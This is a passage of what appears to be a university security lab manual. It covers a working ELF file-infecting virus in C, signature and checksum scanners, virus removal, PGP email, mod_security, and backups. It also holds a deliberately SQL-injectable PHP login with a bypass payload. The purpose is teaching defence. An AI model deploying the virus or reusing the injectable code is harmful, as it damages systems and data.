#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <dirent.h>
#include <elf.h>
#include <fcntl.h>
#include <pwd.h>

// PARASITE_LENGTH the size of compiling virus //
#define PARASITE_LENGTH 10069
//infection rate indicator
#define MAGIC 6585
#define TMPFILE_TEMPLATE "/tmp/.virusXXXXXX"
#define MAX_BUF 1024

static int magic = MAGIC;

//virus file infication
int infect(char *filename, int hd, char *virus)
{
    //temp file handle
   int fd;
   //file info
   struct stat stat;
   char *data;
   char tmpfile[MAX_BUF];
   char cmd[MAX_BUF]="\0";
   int tmagic;	  // Store files magic number
   int magicloc;  // Location of magic number
   Elf32_Ehdr ehdr;

/* check file for ELF program, binary linux program */
   if(read(hd,&ehdr, sizeof(ehdr)) != sizeof(ehdr)) return 1;

   if(
	ehdr.e_ident[0] != ELFMAG0 ||
	ehdr.e_ident[1] != ELFMAG1 ||
	ehdr.e_ident[2] != ELFMAG2 ||
	ehdr.e_ident[3] != ELFMAG3
     ) return 1;

   //if (ehdr.e_type != ET_EXEC && ehdr.e_type != ET_DYN) return 1;
   //if (ehdr.e_machine != EM_386) return 1;
   //if (ehdr.e_version != EV_CURRENT) return 1;
//


/* check for magic (virus identificator) at the end of the file */
   if(fstat(hd, &stat) < 0) return 1;
   magicloc = stat.st_size - sizeof(magic);
   if( lseek(hd, magicloc, SEEK_SET) != magicloc ) return 1;

   //load magic character, infection rate
   if(read(hd, &tmagic, sizeof(magic)) != sizeof(magic)) return 1;
   //only infect if not already infected
   if(tmagic == MAGIC) return 1;
   if(lseek(hd, 0, SEEK_SET) != 0) exit(1);

/* Create temp file and self-extraction to temp file*/
   strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
   fd=mkstemp(tmpfile);
   if(fd<0) { printf("open(%s)",tmpfile);exit(1); }
   if (write(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;

/* memory allocation for new infected file*/
   data=(char *)malloc(stat.st_size);
   if(data==NULL) return 1;
   if(read(hd, data, stat.st_size) != stat.st_size) return 1;

/* add infected file at the end of virus, to the temp file*/
   if(write(fd,data, stat.st_size) != stat.st_size) return 1;
/* mark file as infected*/
   if(write(fd,&magic, sizeof(magic)) != sizeof(magic)) return 1;

/* permission and ownership*/
   if(fchown(fd, stat.st_uid, stat.st_gid) < 0) return 1;
   if(fchmod(fd, stat.st_mode) < 0) return 1;
/* rename temp file to original, now infected file*/
   sprintf(cmd,"cp %s %s",tmpfile,filename);
   //printf("%s\n",cmd);
   if(system(cmd) != 0) return 1;

   close(fd);

   printf("***Infected %s.\n", filename);

   return 0;
}

//search current directory for executable ELF files
void scan_dir(char *directory, char *virus)
{
   int hd, vd;
   int filecnt;
   DIR *dd;
   struct dirent *dirp;
   struct stat stat;
   char vfile[256];
 
   /* open directory */
   dd = opendir(directory);
   
   // step through the entire directory 
   
   if(dirp != NULL) {
	while (dirp = readdir(dd)) 
	{
	strncpy(vfile, directory, 255);
	strcat(vfile, "/");
	strncat(vfile, dirp->d_name, 255-strlen(vfile));
	    hd=open(vfile, O_RDONLY, 0);
	    if(hd >= 0) {
		fstat(hd, &stat);
		 if(S_ISREG(stat.st_mode)) {
			vd=open(vfile, O_RDWR, 0);
			if(vd >= 0)
				infect(vfile, vd, virus);
		}
		close(vd);
	    }
	    close(hd);
	}
	closedir(dd);
   }
   
}

//seemingly malicious code
void payload(void)
{
   printf("Malicious code...\n");
}

int main(int argc, char *argv[], char *envp[])
{
   int fd, tmpfd;
   struct stat stat;
   int len;
   char *data1, virus[PARASITE_LENGTH];
   char tmpfile[MAX_BUF];
   pid_t pid;
   
   /* get info on the file*/
   fd=open(argv[0], O_RDONLY, 0);
   if (fstat(fd, &stat) < 0) return 1;

   
   //load virus to memory
   if (read(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;

   /* execute malicioud code */
   payload();
   //search in current directory
   scan_dir(".", virus);

   
   //get the location of original code in original not infected file
   len = stat.st_size - PARASITE_LENGTH;
   data1=(char*)malloc(len);
   if(data1 == NULL) return 1;
   if(lseek (fd, PARASITE_LENGTH, SEEK_SET) != PARASITE_LENGTH) return 1;

   /* load infected program code */
   if(read(fd, data1, len) != len) return 1; 
   close(fd);

   /* write non-infected code to temp file */
   strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
   tmpfd = mkstemp(tmpfile);
   if(tmpfd <0) return 1;
   if (write(tmpfd, data1, len) != len) return 1;
   fchmod(tmpfd, stat.st_mode);
   free(data1);
   close(tmpfd);

   /* create copy of current process */
   pid = fork();
   if (pid <0) exit(1);
   //launch extracted non-infected program
   if(pid ==0) exit(execve(tmpfile, argv, envp));
   //wait for the non-infected program and virus program to finish
   if(waitpid(pid, NULL, 0) != pid) exit(1);
   unlink(tmpfile);
   exit(0);

   return 0;
}

6.3.1. Sleeping Phase

  1. Log into the remote system .
  2. Launch VirtualBox and CentOS virtual system.
  3. Login credentials: root/password.
  4. Install required packages:
    $ yum -y groupinstall "Development Tools"
    
    $ yum -y install mc
  5. Download virus code:
    $ wget http://zeus.fei.tuke.sk/bps3r/virus.c
  6. Compile source code:
    gcc -o virus virus.c
  7. Check the size of resulting virus binary file:
    $ ls -l virus
  8. Compare, if necessatry adjust, file size constant in source code with learned size:
    $ mcedit virus.c
    
    #define PARASITE_LENGTH 10710
  9. Re-compile:
    gcc -o virus virus.c
  10. Create "test" directory.
    $ mkdir test
  11. Copy virus to the new directory:
    $ cp virus ~/test

6.3.2. Spread and Activation

  1. Copy /bin/ls and /bin/date to the testing directory:
    $ cp /bin/ls /bin/date ~/test
  2. Check file sizes in testing directory:
    $ ls -l ~/test
  3. Run infection:
    $ cd ~/test ; ./virus
  4. Compare new file sizes:
    $ls -l *

6.3.3. Scanner

Next task is to create antivirus scanner that will be able to find our just created virus. Examine following code and fill in missing lines of code as described in comments. The idea behind this scanner is to scan the directory, to check for ELF file, and to find specific virus mark. File infection state is then printed out.
/* 
  Antivirus scanner
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;unistd.h&gt;
#include &lt;dirent.h&gt;
#include &lt;elf.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;pwd.h&gt;

//infection indicator
#define MAGIC 6585
#define MAX_BUF 1024

static int magic = MAGIC;

//virus detection
int detect(char *filename, int hd)
{
    //handle for temp file
   int fd;
   //file info
   struct stat stat;
   char *data;
   char tmpfile[MAX_BUF];
   char cmd[MAX_BUF]="\0";
   int tmagic;	  // Store files magic number
   int magicloc;  // Location of magic number
   Elf32_Ehdr ehdr;


/* check for magic(virus identificator) at the end of the file */
   if(fstat(hd, &amp;stat) &lt; 0) return 1;
   magicloc = stat.st_size - sizeof(magic);
   if( lseek(hd, magicloc, SEEK_SET) != magicloc ) return 1;

   //load magic character
   if(read(hd, &amp;tmagic, sizeof(magic)) != sizeof(magic)) return 1;
   //if file is infected, do not infect again
   if(tmagic == MAGIC) return 2;
   if(lseek(hd, 0, SEEK_SET) != 0) exit(1);


   return 0;
}

//search current directory for executable ELF files
void scan_dir(char *directory)
{
   int hd;
   int r;
   DIR *dd;
   struct dirent *dirp;
   char vfile[256];
 
   /* open directory */
   dd = opendir(directory);
   
   // search entire directory
   if(dirp != NULL) {
	while (dirp = readdir(dd)) 
	{
	r=0;
 //FILL IN HERE //step for every file in the directory //dirp->d_name contains file name //open the file with 'open' function (see man open) //if open succeeds, call 'detect' function //base on the return value determine whether file is infected and display this information to the terminal 
		}
	    close(hd);
	}
	closedir(dd);
   }
   
}


int main(int argc, char *argv[], char *envp[])
{
  
   if (argc &lt; 2) {
   	printf("Pouzitie %s adresar\n",argv[0]);
	exit(1);
   }
   printf("Prehladavam adresar %s\n",argv[1]); 
   //scan directory
   scan_dir(argv[1]);
   return 0;
}


  1. Download code of the scanner:
    $ cd ; wget http://zeus.fei.tuke.sk/bps3r/skener.c
  2. Fill in missing code as described in comments. See code Section A.1, “Antivirus scanner”.
  3. Compile the code.
  4. Run and test the scanner.
    $ ./scanner ~/test
The result is a scanner that works on signature principle - virus-specific mark is being searched for in binary files.
Another type of scanner is change detecting system, changes that were detected in the content of monitored system objects. For example, checksums that are used by cryptographic tools to obtain initial values - file fingerprints - and later compared with current values. Following presents scanner that uses hash functions, in bash language:
#!/bin/bash


#check for command line parameter
if test -z $1 
then
	echo "Using $0 directory"
	exit 1
fi

path="$1"
DB="crc.sum"

# list the dir, search for executable files
for file in `find $path -perm /111 -print | sed '1d'`
do
	#test existence of checksum database
	if test -f $DB
	then
		if grep -q $file $DB 
		then
			#checksum exists, it is compared
			#current sum
			sumcurr=`sha1sum $file | gawk '{print $1}'`
			#saved sum
			sumsav=`grep $file $DB | gawk '{print $1}'`
			
			#comparison
			if test "$sumcurr" == "$sumsav"
			then
				:
			else
				echo "Checksum changed for file: $subor"
			fi
		
		else
			#checksum does not exists, it is saved
			sha1sum $file >> $DB
		fi
	else		
	      #checksum does not exists, it is saved
	      sha1sum $file >> $DB
	fi	
done
exit 0
  1. Create file 'scanner.sh' and paste previous code.
    $ cd ; wget http://zeus.fei.tuke.sk/bps3r/skener.sh
  2. Set file permissions.
    $ chmod +x skener.sh
  3. Copy original binary files.
    $ cp /bin/date /bin/ls ./test
  4. Run the scanner.
    ./scanner.sh ~/test
  5. Check crc.sum file.
    $cat crc.sum
  6. Run the virus.
    $ cd ~/test ; ./virus ; cd -
  7. Run scanner, again.
    ./skener.sh ~/test

6.3.4. Virus Removal

Program for virus removal can be created on the basis of the infection process. The most simple variant is:
  1. Identify infection.
  2. Size of the inserted virus code must be known.
  3. Extract original program to the temp file.
  4. Rename temp file to original name.
                                Infection     <----------------------------+
        +---------------------------+----------------------------------+   +
        |                           |                                  |   |
        |                           |                                  |   |
        |        Virus              |          Original program        |   |
        |                           |                                  |   |
        +---------------------------+----------------------------------+   |
                                    +-----------------+----------------+   |
        +--------------------------->                 |                    |
             Required code shift                      |                    |
                                                      |Extraction          |Erase
                                                      |                    |
                                                      |                    |
                                     +----------------v----------------+   |
                                     |                                 |   |
                                     |                                 |   |
                                     |             Temp file           |   |
                                     |                                 |   |
                                     +----------------+----------------+   |
                                                      +--------------------+
Removal program code in bash:
#!/bin/sh

#size of the virus
VIRUS_SIZE=10710

#size of the virus mark
MAGIC_SIZE=4

#infected source as 1. command line parameter
INFECTED=$1

#is parameter entered?
if [ -z "$INFECTED" ];then
	echo "Using $0 <infected file>"
	exit 1
fi

#current infection size
INFECTED_SIZE=`ls -l $INFECTED| awk '$5 {print $5}'`
#original program size
let ORIG_SIZE=$INFECTED_SIZE-$VIRUS_SIZE-$MAGIC_SIZE

echo "Size of the virus: $VIRUS_SIZE"
echo "Size of the original program: $ORIG_SIZE"
#infection copy
mv $INFECTED $INFECTED.vx
#extraction of oroginal program
dd if=$INFECTED.vx of=$INFECTED count=$ORIG_SIZE skip=$VIRUS_SIZE bs=1

#file permissions
chmod $INFECTED --reference $INFECTED.vx

  1. Create file clean.sh and paste given code.
    $ cd ; wget http://zeus.fei.tuke.sk/bps3r/clean.sh
  2. Set virus size.
    $ls -l ./virus
     ===>>> size
    
    
    $mcedit clean.sh
    VIRUS_SIZE=size
  3. Set file permissions.
    $ chmod +x clean.sh
  4. Test virus removal.
    $ ./clean.sh ~/test/date
  5. Run 'date'.
    $ ~/test/date

Chapter 7. Practice 7 - Electronic Mail

7.1. Objectives

The aim of the exercise is familiarity with the possibilities trusted communications by mail.

7.2. Introduction

PGP allows you to encrypt and decrypt messages, digitally sign them, verify the identity of the sender (if also uses PGP) and manage keys.
PGP works by cipher does not use one, but two different keys. The first is used to encrypt and its output is the encrypted message. You can read (decrypted) message only with the second key. This process is called asymmetric cipher. Asymmetric cipher, has over traditional ciphers (symmetric) using the same key for encryption and decryption, one big advantage. Your encryption (public) key can be placed on the public, but trusted site (eg personal web site or key server) where everyone can copy it and encrypt it the classified message. Message can then feel free to send and will be sure that it can be read only recipient, respectively holder of the private (decrypting) key.
Public key encryption

Figure 7.1. Public key encryption


How PGP encryption works

Figure 7.2. How PGP encryption works


How PGP decryption works

Figure 7.3. How PGP decryption works


In addition to encrypt messages, PGP solves the problems of their authenticity. The principle is similar to that of the encryption. The sender attached to the message special addendum, which generates the one-way text messages using any of hash functions. This addendum called "message digest", encrypted with your private key to form an electronic signature. The recipient obtains the sender's public key, decrypts the attached signature and compares it to how it should look in its calculation. If both results agree, the message can be regarded as proven.
Simple digital signatures

Figure 7.4. Simple digital signatures


Secure digital signatures

Figure 7.5. Secure digital signatures


7.3. Hands-on

We'll show you how to install and setup a Firefox Extension - Mailvelope, which will secure mail communication between end users. For more see https://www.mailvelope.com/en/.
Enter following command:
  1. Log in to the remote system.
  2. From menu Applications -> Internet select Firefox.
  3. Open web page
    about:config
  4. Change option
    xpinstall.signatures.required to false
  5. Install latest extension Mailvelope
    https://download.mailvelope.com/releases/latest/
    *.xpi extension
  6. Click new icon on toolbar - padlock.
  7. Choose Options
  8. First of all we need to generate pairs of keys.
    • Click Generate key
    • Enter required fields

      Warning

      Don't forget password, try simple one!
      Email - enter your gmail email address
    • Submit
    • Click Generate another...
    • Again fill required data, but as enter your tuke.sk address.

7.3.1. TUKE Webmail Mailvelope integration

Next step is to integrate Mailvelope extension to work with tuke webmail.
  1. Create new tab in web browser
    http://mail.tuke.sk
  2. Login to your account.
  3. Click Mailevelope icon -> and find Manage Authorized Domains

7.3.2. Encrypting Messages

Messages are created and encrypted in an external editor by default. The Compose (icon) button is displayed in all e-mail composing areas of the webmail provider and will launch Mailvelope's external editor.
  1. Login to your gmail account.
  2. Create new email, to yourself
    To: your gmail address
    Subject: Sifrovane
    Message: click

    Warning

    If you get blank screen -> click to window with right button of the mouse.
    enter something secret ....
  3. Click Encrypt
  4. Encrypt for: your gmail address
  5. Click Transfer
  6. Click Send
  7. Check your Inbox
Task:
  1. Create encrypted email from gmail account to your tuke.sk address

    Warning

    Encrypt for: select your tuke.sk email address
    Example

    Figure 7.6. Example


  2. Check your Inbox, http://mail.tuke.sk

7.3.3. Tasks

  1. Send email from your tuke account to your gmail account, but as operation select Sign.

    Warning

    Sign message with key: select your tuke.sk email address
    Check gmail Inbox.
  2. Export your public key for tuke.sk account
    • Display Keys
    • Select tuke email
    • Export -> Public -> Save
  3. Exchange public keys with your collegue (by the email as attachment).
  4. Import your partner key to your keyring.
    • Import Keys
    • ....
  5. Send signed and encrypted email to your partner.

Chapter 8. Practice 8 - Application Firewall

8.1. Objectives

This practice shows how to install and configure mod_security. mod_security is an Apache module that provides intrusion detection and prevention for web applications. It aims at shielding web applications from known and unknown attacks, such as SQL injection attacks, cross-site scripting, path traversal attacks, etc.
ModSecurity can be deployed and integrated in our current Web Servers infrastructure, meaning that we do not have to modify our internal Network, we don’t add any point of failure, we can benefit from load balancing and scalability and we would not have any issues with compress or encrypted Data. ModSecurity is a valuable security tool and have proven to be effective. If we want to protect our web applications this is a tool the deserves your attention.

8.2. Hands-on Installing mod_security

Log in to the remote system. Log in as a user: bviXY password: bezpecnost.
  1. Execute VirtualBox and run CentOS.
  2. VirtualBox -> Centos -> Settings -> Network -> Advanced -> Port Forwarding
    • Add rule
    • Host port = ABCD and guest port = 80

    Note

    ABCD = 8000 + XY (XY login number)
  3. Login as root/password
  4. Install Web Server and auxiliary packages.
    $ yum -y groupinstall "Web Server" "MySQL Database Client" "MySQL Database Server" "PHP Support"
    
    $ yum -y install php-mysql mc
    $ service iptables stop
    $ service mysqld start
  5. You need to turn on EPEL repo under CentOS / RHEL Linux
    $ rpm -Uvh http://zeus.fei.tuke.sk/epel6.rpm
  6. Install ModSecurity
    $ yum -y install mod_security
  7. Start Web Server
    $ service httpd restart
  8. Check connection to your web server
    Open Firefox (Application -> Internet -> Firefox) and enter address: bps.fei.tuke.sk:ABCD

8.3. Testing SQL Injection

Before going ahead with configuring rules, we will create a PHP script which is vulnerable to SQL injection and try it out. Please note that this is just a basic PHP login script with no session handling.
  1. Continue in virtual machine. Download login script.
    $ wget http://zeus.fei.tuke.sk/bps3r/login.php.txt
    $ cp login.php.txt /var/www/html/login.php
    <html>
    <body>
    <?php
        if(isset($_POST['login']))
        {
            $username = $_POST['username'];
            $password = $_POST['password'];
            $con = mysqli_connect('localhost','root','','sample');
            $result = mysqli_query($con, "SELECT * FROM `users` WHERE username='$username' AND password='$password'");
            if(mysqli_num_rows($result) == 0)
                echo 'Invalid username or password';
            else
                echo '<h1>Logged in</h1><p>A Secret for you....</p>';
        }
        else
        {
    ?>
            <form action="" method="post">
                Username: <input type="text" name="username"/><br />
                Password: <input type="password" name="password"/><br />
                <input type="submit" name="login" value="Login"/>
            </form>
    <?php
        }
    ?>
    </body>
    </html>
    This script will display a login form. Entering the right credentials will display a message "A Secret for you."
  2. We need credentials in the database. Create a MySQL database and a table, then insert usernames and passwords.
    $ mysql -u root
    Enter following commands:
    create database sample;
    connect sample;
    create table users(username VARCHAR(100),password VARCHAR(100));
    insert into users values('jesin','pwd');
    insert into users values('alice','secret');
    quit;
  3. Open your browser, navigate to http://bps.fei.tuke.sk:ABCD/login.php and enter the right pair of credentials.

    Note

    Username: jesin Password: pwd
  4. You'll see a message that indicates successful login. Now come back and enter a wrong pair of credentials-- you'll see the message Invalid username or password.
  5. We can confirm that the script works right. The next job is to try our hand with SQL injection to bypass the login page. Enter the following for the username field:
    ' or true -- 

    Warning

    Note that there should be a space after -- this injection won't work without that space. Leave the password field empty and hit the login button.
    Voila! The script shows the message meant for authenticated users.

8.3.1. Setting Up Rules

To make your life easier, there are a lot of rules which are already installed along with mod_security. These are called CRS (Core Rule Set).
  1. Install additional modsecurity rules.
    $ yum -y install mod_security_crs
  2. Activate SQL Injection configuration:
    $ cd /etc/httpd/modsecurity.d
    $ cp activated_rules/modsecurity_41* ./
    $ cp activated_rules/modsecurity_crs_41_s* ./
    $ \rm activated_rules/*
  3. Restart Web Server
    $ service httpd restart
  4. Now open the login page we created earlier and try using the SQL injection query on the username field.
    http://bps.fei.tuke.sk:ABCD/login.php

    Note

    ABCD = 8000 + XY (XY login number)

8.3.2. Writing Your Own mod_security Rules

In this section, we'll create a rule chain which blocks the request if certain "spammy" words are entered in a HTML form. First, we'll create a PHP script which gets the input from a textbox and displays it back to the user.
  1. Download form.php script.
    $ wget http://zeus.fei.tuke.sk/bps3r/form.php.txt
    $ cp form.php.txt /var/www/html/form.php
    $ \rm /etc/httpd/modsecurity.d/*.conf
    <html>
        <body>
            <?php
                if(isset($_POST['data']))
                    echo $_POST['data'];
                else
                {
            ?>
                    <form method="post" action="">
                            Enter something here:<textarea name="data"></textarea>
                            <input type="submit"/>
                    </form>
            <?php
                }
            ?>
        </body>
    </html>
  2. Custom rules can be added to any of the configuration files or placed in modsecurity directories. We'll place our rules in a separate new file.
    $ mcedit /etc/httpd/modsecurity.d/rules.conf
    Enter:
    SecRule REQUEST_FILENAME "form.php" "id:'400001',chain,deny,log,msg:'Spam detected'"
    SecRule REQUEST_METHOD "POST" chain
    SecRule REQUEST_BODY "@rx (?i:(pills|insurance|rolex))"
  3. Save the file and reload Apache.
    $ service httpd restart
  4. Open http://bps.fei.tuke.sk:ABCD/form.php in the browser and enter text containing any of these words: pills, insurance, rolex. You'll either see a 403 page and a log entry or only a log entry based on SecRuleEngine setting.

Chapter 9. Practice 9 - Data Backups

9.1. Objectives

Suppose you want to run a full backup of a group of files at the beginning of a week, and then back up only the files that have changed on the remaining days of the week. To do so, you have the choice of Incremental or Differential backups.
There are also several types of backup routines available. The most common are full, copy, differential, incremental, and daily.
  • A full backup backs up each file and turns a setting (also called a switch) on the file to mark it as backed up. Think of a switch as a light switch, when a file is created the switch is in the off position. When the file is backed up the light (file in our case) is turned on. When you edit the file and save it the swith is set back to the off position just like when you leave the room and turn off the light. When a file or group of files are copied they are duplicated elsewhere but the setting (switch) is not changed.
  • An incremental backup only backs up the files that have been added or changed since the last backup and turns the switch on. It does this by looking for switches that are off.
  • A differential backup copies only the files that have been added or changed since the last backup but leaves the switch off.
  • The daily backup only backs up files that were created or modified that day.

9.2. Hands-on

9.2.1. Unix/Linux

For those who don’t know “tar” stands for tape archive, which is used by System administrators to take backup. The tar command used to rip a collection of files and directories into highly compressed archive file commonly called tarball or tar, gzip and bzip in Linux. The tar is most widely used command to create compressed archive files and that can be moved easily from one disk to another disk or machine to machine. In this tutorial, we are going to show you the usage of a rarely used feature of the tar command known as Incremental Dumps.
  1. Login to the remote system.
  2. Execute virtualbox and run CentOS machine.
    $ virtualbox
  3. Login as a root/password.
  4. Creating archives from tar
    $ tar -cvf archive.tar /etc
    This example creates an archive archive.tar for files in directory /etc
    • c – creating archive
    • v – verbose mode
    • f – filename type for the archive

    Note

    Note that this command creates a normal archive, not a compressed one. For compression use “z” for tar.gz and “j” for tar.bz2.
  5. Uncompressing the archives
    $ tar -xvf archive.tar
    • Here, “x” argument is given for extraction of the archive.
  6. Normally, If we have a large amount of data (which is common nowadays) stored on our devices backup can a long time to complete. So Initially we would want to a full backup for the first time and then for all the next times we would want that only those files which are modified or added should get in the backup leaving behind the obsolete and unchanged files. This feature is provided by “tar” by simply providing an argument “-listed-incremental=snapshot-file” where snapshot-file is a special file maintained by the tar command to determine the files that are been added,modified or deleted. So let’s see an example :
    $ tar --listed-incremental=snapshot.file -cvzf backup.tar.gz /var/www
    Let’s understand what’s happening with the above command. Only the –listed-icremental argument is added more to usual creating archive command. In the above command if the snapshot.file is not existing then tar takes a full (level-0) backup and creating the snapshot file with the additional metadata. Otherwise, it will create an incremented archive backup.tar.gz containing only the changed files by examining the snapshot.file. This will be called “level-1” backup.
    $ touch /var/www/test.txt
    $ tar --listed-incremental=snapshot.file -cvzf backup.1.tar.gz /var/www
  7. Note that, the original snapshot file will be lost and it will be updated to the new contents again. So if we want to make more “level-1” backups we can copy the snapshot file and then provide it to tar. If we don’t need that then we need to do nothing it will simply created another incremented archive.
    $ cp snapshot.file snapshot.file.1
    $ tar --listed-incremental=snapshot.file.1 -cvzf backup.1.tar.gz /var/www
    
    This will use the old snapshot file and make again a “level-1” backup.

    Note

    Note that, incremental dumps crucially on time-stamps. Any interference with them could cause trouble.
  8. In the same way, we can extract the incremental backups. So if we had created several levels of incremental files, then in order to restore the exact contents the file system had when the last level was created, we will need to restore from all backups in turn. At first, do level-0 extraction:
    tar -xvf backup.tar.gz -C /var/www
    and then, level-1 extraction:
    $ tar -xvf backup.1.tar.gz -C /var/www

9.2.2. MS Windows

NTBackup is the built-in backup application introduced in Windows NT around 1997 and part of all subsequent versions up to and including Windows 2000, Windows XP and Windows Server 2003. It uses a proprietary backup format (BKF) to back up files. Files can be backed up to tape, ZIP drives, floppy disks, and hard drives. It also features integration with Task Scheduler and has several command line switches for scheduled automated backups.In Windows Vista and later operating systems, NTBackup was replaced by Windows Backup and Restore, which uses the Virtual Hard Disk (VHD) file format, supports backup to modern media such as DVDs and image-based full system backups.
  1. Run MS Windows XP virtual machine (virtualbox)
  2. Click Start -> Run -> ntbackup
  3. First we will perform a full backup.
    • Next
    • Back up files...
      Next
    • Let me choose what to back up
      Next
    • Select My Documents
      Next
    • Choose a place to save your backup:
      C:\
      Next
      Finish
      Report
      Close
  4. Perform restore procedure.
    • Run ntbackup
    • Next
    • Restore files...
      Next
    • Browse and select c:\backup...
      Click items to restore
      Select C:\
      Next
    • Advanced
    • Alternative location
      c:\restore
      Next
      Next
      Next
      Finish
    • Report
      Close
    • List the restored files on the C:\ drive
  5. Incremental Backup
    • Execute ntbackup
    • Next
    • Back up files...
      Next
    • Let me choose what to back up
      Next
    • Select My Documents
      Next
    • Browse
      C:\
      Next
    • Advanced
    • Select - Incremental
      Next
    • Next
    • Next
    • Select Now
      Next
    • Finish
    • Report
      Close
  6. Try to restore your incremental backup.

9.2.2.1. Tasks

  1. Make new files and directories in the My Documents.
  2. Make new incremental backup.
  3. Try to restore your incremental backup.

9.2.3. Duplicati - backup program

Duplicati is a backup client that securely stores encrypted, incremental, compressed remote backups of local files on cloud storage services and remote file servers. Duplicati supports not only various online backup services like OneDrive,[1] Amazon S3, Backblaze, Rackspace Cloud Files, Tahoe LAFS, Google Drive but also any servers that support SSH/SFTP, WebDAV, or FTP.
  1. Run Duplicati
    Application -> System Tools -> Duplicati
  2. Immediately a browser window will open up.
  3. Select Menu
    Then choose “Add backup”
  4. You should see the above screen Click Configure a new backup and then Next
  5. Choose a name
    Fill out the name and passphrase.
    Click Next
  6. In the next screen, make sure you change the storage type to “Google Drive”
  7. When you select Google Drive, your screen will change (see screenshot below). Make sure to type the Path on Server and click the AuthID link to authenticate your account.
  8. When you click AuthID, you get the next screen:
  9. After you log in, you should see the following, go ahead and allow the connection.
  10. You’ll return to something like this:
  11. When you click “Next” you’ll advance to the next screen:
    Select the files you want to backup. You can click “Exclude” to exclude hidden files, system files, temporary files, and files larger than a specific size if you choose too. When you’re ready, click Next.
  12. Fill out the schedule with the following:
    • Date / Time
    • How often to Run again
    • Days it’s allowed.
    Then click Next
  13. In the General options screen, you should set an upload size that is a compromise between your local file size and the number of backup “chunks” you want to have. We’ve found that 1GB makes for a good compromise unless you are low on local drive space.
    Click Save
  14. If you’ve chosen “No Encryption” earlier, you’ll see the following. Click Continue without encryption.
  15. You will see a list of your scheduled backups. If you’d like to run a backup that is outside of the schedule.
    Click “Run Now” to execute a backup.
    You’ll see the above screen as it runs
    That will finish the backup.

Solutions

A.1. Antivirus scanner

/* 
  Jednoduchy antivirusovy skener
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <dirent.h>
#include <elf.h>
#include <fcntl.h>
#include <pwd.h>

//identifikator infikovanosti
#define MAGIC 6585
#define MAX_BUF 1024

static int magic = MAGIC;

//infikovanie suboru virusu
int detect(char *filename, int hd)
{
    //handle pre docasny subor
   int fd;
   //info subore
   struct stat stat;
   char *data;
   char tmpfile[MAX_BUF];
   char cmd[MAX_BUF]="\0";
   int tmagic;	  // Store files magic number
   int magicloc;  // Location of magic number
   Elf32_Ehdr ehdr;


/* kontrola magic(identifikator virusu) na konci suboru */
   if(fstat(hd, &stat) < 0) return 1;
   magicloc = stat.st_size - sizeof(magic);
   if( lseek(hd, magicloc, SEEK_SET) != magicloc ) return 1;

   //nacitanie magic znaku, infikovanosti
   if(read(hd, &tmagic, sizeof(magic)) != sizeof(magic)) return 1;
   //ak je subor infikovany, znova neinfikuje
   if(tmagic == MAGIC) return 2;
   if(lseek(hd, 0, SEEK_SET) != 0) exit(1);


   return 0;
}

//prehladanie aktualneho suboru na spustitelne subory typu ELF
void scan_dir(char *directory)
{
   int hd;
   int r;
   DIR *dd;
   struct dirent *dirp;
   char vfile[256];
 
   /* otvorenie adresara */
   dd = opendir(directory);
   
   // prehladanie celeho adresara 
   
   if(dirp != NULL) {
	while (dirp = readdir(dd)) 
	{
	r=0;
	strncpy(vfile, directory, 255);
	strcat(vfile, "/");
	strncat(vfile, dirp->d_name, 255-strlen(vfile));
	    hd=open(vfile, O_RDONLY, 0);
	    if(hd >= 0) {
		    r=detect(vfile, hd);
		    if (r==2)
			printf("Subor infikovany: %s\n",vfile);
		}
	    close(hd);
	}
	closedir(dd);
   }
   
}


int main(int argc, char *argv[], char *envp[])
{
  
   if (argc < 2) {
   	printf("Pouzitie %s adresar\n",argv[0]);
	exit(1);
   }
   printf("Prehladavam adresar %s\n",argv[1]); 
   //prehladanie adresara
   scan_dir(argv[1]);
   return 0;
}